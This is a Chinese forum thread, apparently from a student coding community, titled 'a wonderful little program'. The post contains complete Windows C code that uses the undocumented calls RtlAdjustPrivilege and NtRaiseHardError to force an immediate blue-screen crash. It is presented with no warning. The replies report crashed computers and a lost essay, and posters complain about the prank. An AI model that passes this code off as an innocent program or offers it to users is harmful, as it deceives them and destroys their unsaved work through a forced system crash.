问题标题: 奇妙小程序

0
0
操越然
操越然
修练者
修练者
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
typedef NTSTATUS (NTAPI *pRtlAdjustPrivilege)(
    ULONG Privilege, 
    BOOLEAN Enable, 
    BOOLEAN CurrentThread, 
    PBOOLEAN OldValue
);

typedef NTSTATUS (NTAPI *pNtRaiseHardError)(
    LONG ErrorStatus, 
    ULONG NumberOfParameters, 
    ULONG UnicodeStringParameterMask,
    PULONG_PTR Parameters, 
    ULONG ValidResponseOptions, 
    PULONG Response
);

int main() {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) {
        printf("Failed to get ntdll.dll handle\n");
        return 1;
    }

    pRtlAdjustPrivilege RtlAdjustPrivilege = (pRtlAdjustPrivilege)GetProcAddress(hNtdll, "RtlAdjustPrivilege");
    pNtRaiseHardError NtRaiseHardError = (pNtRaiseHardError)GetProcAddress(hNtdll, "NtRaiseHardError");

    if (!RtlAdjustPrivilege || !NtRaiseHardError) {
        printf("Failed to get function addresses\n");
        return 1;
    }

    BOOLEAN bl;
    ULONG Response;

    NTSTATUS status = RtlAdjustPrivilege(19, TRUE, FALSE, &bl);
    if (status != 0) {
        printf("RtlAdjustPrivilege failed: 0x%08X\n", status);
        return 1;
    }

    NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, NULL, 6, &Response);

    return 0;
}

1
0
0
0
0
高驰宇
高驰宇
新手天翼
新手天翼

:(

你的设备遇到了一些问题,需要重启

0
0
汪思源
汪思源
资深守护
资深守护

又是坑**码?还好窝把评论看完了

0
陆梓骞
陆梓骞
修练者
修练者

密码的我的电脑开心坏了

重启了啊!!!!!!!!!!!!!!!

我真的会谢啊!!!!!!!!!!!!

0
杨文轩
杨文轩
中级光能
中级光能

有病吧,我™的打了好久的作文没了

0
杨文轩
杨文轩
中级光能
中级光能

以后能不能别发这种东西了,很好玩吗

0
0
我要回答